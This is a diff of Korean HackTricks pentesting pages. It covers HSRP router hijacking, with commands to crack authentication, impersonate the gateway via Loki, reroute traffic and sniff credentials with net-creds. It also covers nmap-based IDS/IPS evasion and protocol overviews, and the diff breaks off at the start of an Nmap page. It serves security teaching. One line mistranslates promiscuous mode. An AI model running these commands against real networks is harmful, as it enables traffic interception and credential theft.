@ -73,23 +74,23 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
### HSRP (Hot Standby Router/Redundancy Protocol)를 이용한 HSRP 하이재킹의 수동 설명과 명령어 세부사항
|
||||
### HSRP 하이재킹의 수동 설명과 명령어 세부 정보
|
||||
|
||||
#### HSRP 개요 (Hot Standby Router/Redundancy Protocol)
|
||||
HSRP는 네트워크 게이트웨이의 여분 시스템을 위한 Cisco 독점 프로토콜입니다. 여러 물리적 라우터를 공유 IP 주소를 가진 단일 논리적 단위로 구성할 수 있습니다. 이 논리적 단위는 트래픽을 관리하는 주 라우터에 의해 관리됩니다. GLBP와 달리 우선순위 및 가중치와 같은 메트릭을 사용하는 대신 HSRP는 트래픽 관리를 위해 단일 활성 라우터에 의존합니다.
|
||||
#### HSRP(Hot Standby Router/Redundancy Protocol) 개요
|
||||
HSRP는 네트워크 게이트웨이의 여분 시스템을 위한 시스코 독점 프로토콜입니다. 여러 물리적 라우터를 공유 IP 주소를 가진 단일 논리적 단위로 구성할 수 있습니다. 이 논리적 단위는 트래픽을 관리하는 주 라우터에 의해 관리됩니다. GLBP와 달리 HSRP는 우선순위와 가중치와 같은 메트릭을 사용하지 않고 단일 활성 라우터에 의존하여 트래픽을 관리합니다.
|
||||
|
||||
#### HSRP의 역할 및 용어
|
||||
- **HSRP 활성 라우터**: 트래픽 흐름을 관리하는 게이트웨이로 작동하는 장치.
|
||||
- **HSRP 대기 라우터**: 활성 라우터가 실패할 경우 대기하여 대체할 백업 라우터.
|
||||
- **HSRP 그룹**: 단일 견고한 가상 라우터를 형성하기 위해 협력하는 라우터 집합.
|
||||
- **HSRP MAC 주소**: HSRP 설정에서 논리적 라우터에 할당된 가상 MAC 주소.
|
||||
- **HSRP 가상 IP 주소**: 연결된 장치를 위한 기본 게이트웨이로 작동하는 HSRP 그룹의 가상 IP 주소.
|
||||
#### HSRP의 역할과 용어
|
||||
- **HSRP 활성 라우터**: 트래픽 흐름을 관리하는 게이트웨이로 작동하는 장치입니다.
|
||||
- **HSRP 대기 라우터**: 활성 라우터가 실패할 경우 대기하여 대체할 백업 라우터입니다.
|
||||
- **HSRP 그룹**: 단일 견고한 가상 라우터를 형성하기 위해 협력하는 라우터의 집합입니다.
|
||||
- **HSRP MAC 주소**: HSRP 설정에서 논리적 라우터에 할당된 가상 MAC 주소입니다.
|
||||
- **HSRP 가상 IP 주소**: 연결된 장치를 위한 기본 게이트웨이로 작동하는 HSRP 그룹의 가상 IP 주소입니다.
|
||||
|
||||
#### HSRP 버전
|
||||
HSRP에는 HSRPv1과 HSRPv2 두 버전이 있으며 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조가 다릅니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 활용하며, Hello 패킷은 3초마다 전송됩니다. 10초 간격 내에 패킷을 수신하지 않으면 라우터는 비활성으로 간주됩니다.
|
||||
HSRP에는 HSRPv1과 HSRPv2 두 가지 버전이 있으며 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조가 다릅니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 활용하며 3초마다 Hello 패킷을 보냅니다. 10초 간격 내에 패킷을 수신하지 않으면 라우터는 비활성으로 간주됩니다.
|
||||
|
||||
#### HSRP 공격 메커니즘
|
||||
HSRP 공격은 최대 우선순위 값을 주입하여 활성 라우터의 역할을 강제로 인수하는 것을 포함합니다. 이는 중간자 공격을 유발할 수 있습니다. 필수적인 사전 공격 단계는 HSRP 설정에 대한 데이터 수집으로, 이는 트래픽 분석을 위해 Wireshark를 사용하여 수행할 수 있습니다.
|
||||
HSRP 공격은 최대 우선순위 값을 주입하여 활성 라우터의 역할을 강제로 인수하는 것을 포함합니다. 이는 중간자 공격을 유발할 수 있습니다. 필수적인 사전 공격 단계에는 HSRP 설정에 대한 데이터 수집이 포함되며, 이는 트래픽 분석을 위해 Wireshark를 사용하여 수행할 수 있습니다.
|
||||
|
||||
#### HSRP 인증 우회 단계
|
||||
1. HSRP 데이터를 포함하는 네트워크 트래픽을 .pcap 파일로 저장합니다.
|
||||
|
@ -105,15 +106,15 @@ python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
|||
john --wordlist=mywordlist.txt hsrp_hashes
|
||||
```
|
||||
|
||||
**Loki를 사용한 HSRP Injection 실행**
|
||||
**Loki를 사용한 HSRP 인젝션 실행**
|
||||
|
||||
1. HSRP 광고를 식별하기 위해 Loki를 실행합니다.
|
||||
2. 네트워크 인터페이스를 Promiscuous 모드로 설정하고 IP 포워딩을 활성화합니다.
|
||||
2. 네트워크 인터페이스를 수동 모드로 설정하고 IP 포워딩을 활성화합니다.
|
||||
```shell
|
||||
sudo ip link set eth0 promisc on
|
||||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Loki를 사용하여 특정 라우터를 대상으로 설정하고 해독된 HSRP 암호를 입력하며 활성 라우터를 흉내내기 위한 필요한 구성을 수행합니다.
|
||||
3. Loki를 사용하여 특정 라우터를 대상으로 하고 해독된 HSRP 암호를 입력하고 활성 라우터를 위장하기 위해 필요한 구성을 수행합니다.
|
||||
4. 활성 라우터 역할을 얻은 후 네트워크 인터페이스 및 IP 테이블을 구성하여 합법적인 트래픽을 가로챕니다.
|
||||
```shell
|
||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
|
@ -129,7 +130,4 @@ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
|||
sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
|
||||
이러한 단계를 실행하면 공격자가 GLBP 하이재킹 절차와 유사하게 트래픽을 가로채고 조작할 수 있는 위치에 있게 됩니다. 이는 HSRP와 같은 여분 시스템 프로토콜의 취약성을 강조하며 견고한 보안 조치의 필요성을 강조합니다.
|
||||
|
||||
## 참고 자료
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
이러한 단계를 실행하면 공격자가 GLBP 하이재킹과 유사한 방식으로 트래픽을 가로채고 조작할 수 있는 위치에 있게 됩니다. 이는 HSRP와 같은 여분 프로토콜의 취약성을 강조하며 견고한 보안 조치의 필요성을 강조합니다.
|
||||
|
|
|
@ -1,71 +1,73 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **TTL 조작**
|
||||
|
||||
IDS/IPS에 도달할만한 TTL을 가진 패킷을 보내지만 최종 시스템에 도달할만한 TTL은 아닌 패킷을 보냅니다. 그런 다음, 다른 패킷을 동일한 시퀀스로 보내서 IPS/IDS가 반복된 것으로 인식하고 확인하지 않을 것이지만, 실제로는 악성 콘텐츠를 운반하고 있습니다.
|
||||
IDS/IPS에 도달할만큼의 TTL을 가진 패킷을 보내지만 최종 시스템에 도달할만큼은 충분하지 않은 패킷을 보냅니다. 그런 다음, 다른 패킷을 동일한 시퀀스로 보내서 IPS/IDS가 그것들을 반복으로 생각하고 확인하지 않을 것이라고 생각하게 만듭니다. 그러나 실제로는 악성 콘텐츠를 운반하고 있습니다.
|
||||
|
||||
**Nmap 옵션:** `--ttlvalue <value>`
|
||||
|
||||
# 시그니처 회피
|
||||
# 서명 피하기
|
||||
|
||||
패킷에 쓰레기 데이터를 추가하여 IPS/IDS 시그니처를 회피합니다.
|
||||
패킷에 쓰레기 데이터를 추가하여 IPS/IDS 서명을 피합니다.
|
||||
|
||||
**Nmap 옵션:** `--data-length 25`
|
||||
|
||||
# **분할된 패킷**
|
||||
|
||||
패킷을 분할하고 보냅니다. IDS/IPS가 재조립할 수 있는 능력이 없다면, 패킷은 최종 호스트에 도달할 것입니다.
|
||||
패킷을 분할하고 보냅니다. IDS/IPS가 이를 재조립할 수 없는 경우 최종 호스트에 도달할 것입니다.
|
||||
|
||||
**Nmap 옵션:** `-f`
|
||||
|
||||
# **잘못된** _**체크섬**_
|
||||
# **유효하지 않은** _**체크섬**_
|
||||
|
||||
성능상의 이유로 센서는 일반적으로 체크섬을 계산하지 않습니다. 따라서 공격자는 센서에서 해석되지만 최종 호스트에서는 거부되는 패킷을 보낼 수 있습니다. 예를 들면:
|
||||
일반적으로 센서는 성능상의 이유로 체크섬을 계산하지 않습니다. 따라서 공격자는 센서가 해석하지만 최종 호스트에서는 거부될 패킷을 보낼 수 있습니다. 예:
|
||||
|
||||
RST 플래그와 잘못된 체크섬이 있는 패킷을 보내면, IPS/IDS는 이 패킷이 연결을 닫을 것으로 생각할 수 있지만, 최종 호스트는 체크섬이 잘못되었기 때문에 패킷을 폐기합니다.
|
||||
유효하지 않은 체크섬을 가진 RST 플래그가 있는 패킷을 보내면 IPS/IDS가 이 패킷이 연결을 닫을 것으로 생각할 수 있지만 최종 호스트는 체크섬이 유효하지 않기 때문에 패킷을 버립니다.
|
||||
|
||||
# **일반적이지 않은 IP 및 TCP 옵션**
|
||||
|
||||
센서는 IP 및 TCP 헤더 내에서 특정 플래그와 옵션이 설정된 패킷을 무시할 수 있지만, 목적지 호스트는 패킷을 수신하면서 받아들일 수 있습니다.
|
||||
센서는 IP 및 TCP 헤더 내에서 특정 플래그 및 옵션이 설정된 패킷을 무시할 수 있지만 목적지 호스트는 패킷을 수신하면서 수락할 수 있습니다.
|
||||
|
||||
# **중첩**
|
||||
|
||||
패킷을 분할할 때 패킷 간에 어떤 종류의 중첩이 존재할 수 있습니다 (아마도 패킷 2의 처음 8바이트가 패킷 1의 마지막 8바이트와 겹칠 수 있고, 패킷 2의 마지막 8바이트가 패킷 3의 처음 8바이트와 겹칠 수 있습니다). 그런 다음, IDS/IPS가 최종 호스트와 다른 방식으로 재조립하면 다른 패킷이 해석될 것입니다.\
|
||||
또는 아마도 동일한 오프셋을 가진 2개의 패킷이 오고 호스트는 어떤 패킷을 선택할지 결정해야 할 수 있습니다.
|
||||
패킷을 분할하면 패킷 간에 어떤 종류의 중첩이 존재할 수 있습니다 (아마도 패킷 2의 처음 8바이트가 패킷 1의 마지막 8바이트와 겹칩니다. 그리고 패킷 2의 마지막 8바이트가 패킷 3의 처음 8바이트와 겹칩니다). 그런 다음, IDS/IPS가 이를 최종 호스트와 다른 방식으로 재조립하면 다른 패킷이 해석될 수 있습니다.\
|
||||
또는 아마도, 동일한 오프셋을 가진 2개의 패킷이 오고 호스트는 어떤 것을 선택할지 결정해야 합니다.
|
||||
|
||||
* **BSD**: 작은 _offset_를 가진 패킷을 선호합니다. 동일한 오프셋을 가진 패킷의 경우, 첫 번째 패킷을 선택합니다.
|
||||
* **Linux**: BSD와 유사하지만, 동일한 오프셋을 가진 마지막 패킷을 선호합니다.
|
||||
* **첫 번째** (Windows): 오는 값 중 첫 번째 값이 선택됩니다.
|
||||
* **마지막** (Cisco): 오는 값 중 마지막 값이 선택됩니다.
|
||||
* **BSD**: 작은 _오프셋_을 가진 패킷을 선호합니다. 동일한 오프셋을 가진 패킷의 경우 첫 번째 패킷을 선택합니다.
|
||||
* **Linux**: BSD와 유사하지만 동일한 오프셋을 가진 마지막 패킷을 선호합니다.
|
||||
* **첫 번째** (Windows): 오는 값 중에서 선택합니다.
|
||||
* **마지막** (Cisco): 오는 값 중에서 선택합니다.
|
||||
|
||||
# 도구
|
||||
|
||||
* [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## 멀티캐스트 DNS (mDNS)
|
||||
|
||||
**mDNS** 프로토콜은 전용 이름 서버 없이 작은 로컬 네트워크 내에서 IP 주소 해결을 위해 설계되었습니다. 이는 서브넷 내에서 쿼리를 멀티캐스트하여 지정된 이름을 가진 호스트가 IP 주소로 응답하도록 하는 방식으로 작동합니다. 그런 다음 서브넷의 모든 장치는 이 정보로 자신의 mDNS 캐시를 업데이트할 수 있습니다.
|
||||
**mDNS** 프로토콜은 전용 이름 서버 없이 소규모 로컬 네트워크 내에서 IP 주소 해결을 위해 설계되었습니다. 이는 서브넷 내에서 쿼리를 멀티캐스팅하여 지정된 이름을 가진 호스트가 해당 IP 주소로 응답하도록 유도합니다. 그러면 서브넷의 모든 장치가 이 정보로 자신의 mDNS 캐시를 업데이트할 수 있습니다.
|
||||
|
||||
주목해야 할 주요 사항:
|
||||
- **도메인 이름 포기**: 호스트는 TTL이 0인 패킷을 보내어 도메인 이름을 해제할 수 있습니다.
|
||||
|
@ -24,45 +25,51 @@ HackTricks를 지원하는 다른 방법:
|
|||
- 이더넷 멀티캐스트 MAC 주소: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
|
||||
- IP 주소: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`.
|
||||
- UDP 포트 5353에서 작동합니다.
|
||||
- mDNS 쿼리는 로컬 네트워크에 제한되며 라우터를 건너지 않습니다.
|
||||
- mDNS 쿼리는 로컬 네트워크에 제한되어 라우터를 통과하지 않습니다.
|
||||
|
||||
## DNS-SD (서비스 검색)
|
||||
|
||||
DNS-SD는 특정 도메인 이름 (예: `_printers._tcp.local`)을 쿼리하여 네트워크에서 서비스를 검색하기 위한 프로토콜입니다. 응답에는 이 경우 사용 가능한 프린터와 같은 모든 관련 도메인이 포함됩니다. 서비스 유형의 종합적인 목록은 [여기](http://www.dns-sd.org/ServiceTypes.html)에서 찾을 수 있습니다.
|
||||
DNS-SD는 특정 도메인 이름(예: `_printers._tcp.local`)을 쿼리하여 네트워크에서 서비스를 검색하는 프로토콜입니다. 응답에는 이 경우 사용 가능한 프린터와 같은 모든 관련 도메인이 포함됩니다. 서비스 유형의 포괄적인 목록은 [여기](http://www.dns-sd.org/ServiceTypes.html)에서 찾을 수 있습니다.
|
||||
|
||||
## SSDP (간단한 서비스 검색 프로토콜)
|
||||
|
||||
SSDP는 네트워크 서비스 검색을 용이하게 하는 프로토콜로 주로 UPnP에서 사용됩니다. UDP를 사용하는 텍스트 기반 프로토콜이며 멀티캐스트 주소를 사용합니다. IPv4의 경우 지정된 멀티캐스트 주소는 `239.255.255.250`입니다. SSDP의 기반은 UDP용 HTTP인 [HTTPU](https://en.wikipedia.org/wiki/HTTPU)입니다.
|
||||
|
||||
SSDP는 네트워크 서비스 검색을 용이하게 하는 프로토콜로, 주로 UPnP에서 사용됩니다. UDP를 통해 멀티캐스팅 주소를 사용하는 텍스트 기반 프로토콜입니다. IPv4의 경우 지정된 멀티캐스트 주소는 `239.255.255.250`입니다. SSDP의 기초는 [HTTPU](https://en.wikipedia.org/wiki/HTTPU)로, 이는 UDP용 HTTP의 확장입니다.
|
||||
|
||||
## 장치용 웹 서비스 (WSD)
|
||||
네트워크에 연결된 장치는 웹 서비스를 통해 사용 가능한 프린터와 같은 서비스를 식별할 수 있습니다. 이는 UDP 패킷을 브로드캐스트하는 것을 포함합니다. 서비스를 찾는 장치는 요청을 보내고, 서비스 제공자는 자신의 제공을 알립니다.
|
||||
네트워크에 연결된 장치는 웹 서비스를 통해(예: 프린터) 사용 가능한 서비스를 식별할 수 있습니다. 이는 UDP 패킷을 브로드캐스팅하는 것을 포함합니다. 서비스를 찾는 장치는 요청을 보내고, 서비스 제공자는 자신의 제공물을 알립니다.
|
||||
|
||||
## OAuth 2.0
|
||||
OAuth 2.0은 서비스 간에 사용자 정보를 안전하게 선택적으로 공유하기 위한 프로토콜입니다. 예를 들어, Google에서 다중 로그인 없이 사용자 데이터에 액세스할 수 있도록 합니다. 이 과정에는 사용자 인증, 사용자에 의한 승인 및 Google에 의한 토큰 생성이 포함되어 지정된 사용자 데이터에 대한 서비스 액세스를 허용합니다.
|
||||
OAuth 2.0은 사용자 정보의 안전한 선택적 공유를 용이하게 하는 프로토콜입니다. 예를 들어 Google에서 사용자 데이터에 다중 로그인 없이 액세스할 수 있도록 합니다. 이 프로세스에는 사용자 인증, 사용자에 의한 승인, Google에 의한 토큰 생성이 포함되어 있어 지정된 사용자 데이터에 대한 서비스 액세스를 허용합니다.
|
||||
|
||||
## RADIUS
|
||||
RADIUS (Remote Authentication Dial-In User Service)는 주로 ISP에서 사용하는 네트워크 액세스 프로토콜입니다. 인증, 승인 및 계정 관리를 지원합니다. 사용자 자격 증명은 RADIUS 서버에서 확인되며, 추가 보안을 위해 네트워크 주소 확인을 포함할 수 있습니다. 인증 후 사용자는 네트워크 액세스를 받으며, 세션 세부 정보는 청구 및 통계 목적으로 추적됩니다.
|
||||
RADIUS(Remote Authentication Dial-In User Service)는 주로 ISP에서 사용하는 네트워크 액세스 프로토콜입니다. 인증, 승인 및 계정을 지원하며, 사용자 자격 증명은 RADIUS 서버에서 확인되며 추가 보안을 위해 네트워크 주소 확인이 포함될 수 있습니다. 인증 후 사용자는 네트워크 액세스를 받고 세션 세부 정보가 청구 및 통계 목적으로 추적됩니다.
|
||||
|
||||
## SMB 및 NetBIOS
|
||||
|
||||
### SMB (Server Message Block)
|
||||
SMB는 파일, 프린터 및 포트 공유를 위한 프로토콜입니다. TCP (포트 445) 또는 NetBIOS over TCP (포트 137, 138)를 통해 직접 작동합니다. 이중 호환성은 다양한 장치와의 연결성을 향상시킵니다.
|
||||
### SMB (서버 메시지 블록)
|
||||
SMB는 파일, 프린터 및 포트 공유를 위한 프로토콜입니다. TCP(포트 445)를 통해 직접 작동하거나 TCP를 통한 NetBIOS(포트 137, 138)를 통해 작동합니다. 이중 호환성은 다양한 장치와의 연결성을 향상시킵니다.
|
||||
|
||||
### NetBIOS (Network Basic Input/Output System)
|
||||
NetBIOS는 리소스 공유를 위해 네트워크 세션 및 연결을 관리합니다. 장치에 대한 고유한 이름과 여러 장치에 대한 그룹 이름을 지원하여 대상 지정 또는 브로드캐스트 메시징을 가능하게 합니다. 통신은 연결 없음 (확인 없음) 또는 연결 지향 (세션 기반)일 수 있습니다. NetBIOS는 전통적으로 IPC/IPX와 같은 프로토콜을 통해 작동하지만, 일반적으로 TCP/IP 위에서 사용됩니다. 속도가 빠르다는 것으로 알려진 관련 프로토콜인 NetBEUI는 브로드캐스트로 인해 매우 상세한 정보를 제공합니다.
|
||||
### NetBIOS (네트워크 기본 입출력 시스템)
|
||||
NetBIOS는 리소스 공유를 위해 네트워크 세션 및 연결을 관리합니다. 장치에 대한 고유한 이름과 여러 장치에 대한 그룹 이름을 지원하여 대상이나 브로드캐스트 메시징을 가능하게 합니다. 통신은 연결 없음(응답 없음) 또는 연결 지향(세션 기반)일 수 있습니다. NetBIOS는 일반적으로 IPC/IPX와 같은 프로토콜을 통해 작동하지만 TCP/IP를 통해 일반적으로 사용됩니다. 속도로 유명한 관련 프로토콜인 NetBEUI는 방송으로 인해 매우 상세했지만 빠른 속도로 작동했습니다.
|
||||
|
||||
## LDAP (Lightweight Directory Access Protocol)
|
||||
LDAP는 TCP/IP를 통해 디렉터리 정보의 관리와 액세스를 가능하게 하는 프로토콜입니다. 디렉터리 정보에 대한 쿼리 및 수정을 위한 다양한 작업을 지원합니다. 주로 분산 디렉터리 정보 서비스에 액세스하고 유지 관리하는 데 사용되며, LDAP 통신을 위해 설계된 데이터베이스와 상호 작용할 수 있습니다.
|
||||
LDAP는 TCP/IP를 통해 디렉터리 정보의 관리 및 액세스를 가능하게 하는 프로토콜입니다. 다양한 작업을 지원하여 디렉터리 정보를 쿼리하고 수정하는 데 사용됩니다. 주로 분산 디렉터리 정보 서비스에 액세스하고 유지하는 데 사용되며, LDAP 통신을 위해 설계된 데이터베이스와 상호 작용할 수 있습니다.
|
||||
|
||||
## Active Directory (AD)
|
||||
Active Directory는 사용자, 그룹, 권한 및 리소스와 같은 개체를 포함하는 네트워크 접근 가능한 데이터베이스로, 네트워크 개체의 중앙 집중식 관리를 용이하게 합니다. AD는 도메인의 계층 구조로 데이터를 구성하며, 서버, 그룹 및 사용자를 포함할 수 있습니다. 하위 도메인은 추가 분할을 허용하며, 각각 자체 서버와 사용자 기반을 유지할 수 있습니다. 이 구조는 사용자 관리를 중앙 집중화하며, 네트워크 리소스에 대한 액세스를 허용하거나 제한합니다. 연락처 정보와 같은 특정 정보를 검색하거나 도메인 내에서 프린터와 같은 리소스를 찾기 위해 쿼리를 수행할 수 있습니다.
|
||||
Active Directory는 사용자, 그룹, 권한 및 리소스와 같은 객체를 포함하는 네트워크 접근 가능한 데이터베이스로, 네트워크 엔티티의 중앙 관리를 용이하게 합니다. AD는 도메인의 계층 구조로 데이터를 구성하며, 서버, 그룹 및 사용자를 포함할 수 있습니다. 하위 도메인은 각각 자체 서버 및 사용자 기반을 유지할 수 있어 사용자 관리를 중앙화하고 네트워크 리소스에 대한 액세스를 부여하거나 제한할 수 있습니다. 문의를 통해 연락처 정보와 같은 특정 정보를 검색하거나 도메인 내에서 프린터와 같은 리소스를 찾을 수 있습니다.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlosp
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Nmap 요약 (ESP)
|
||||
|
||||
{% hint style="success" %}
|
||||
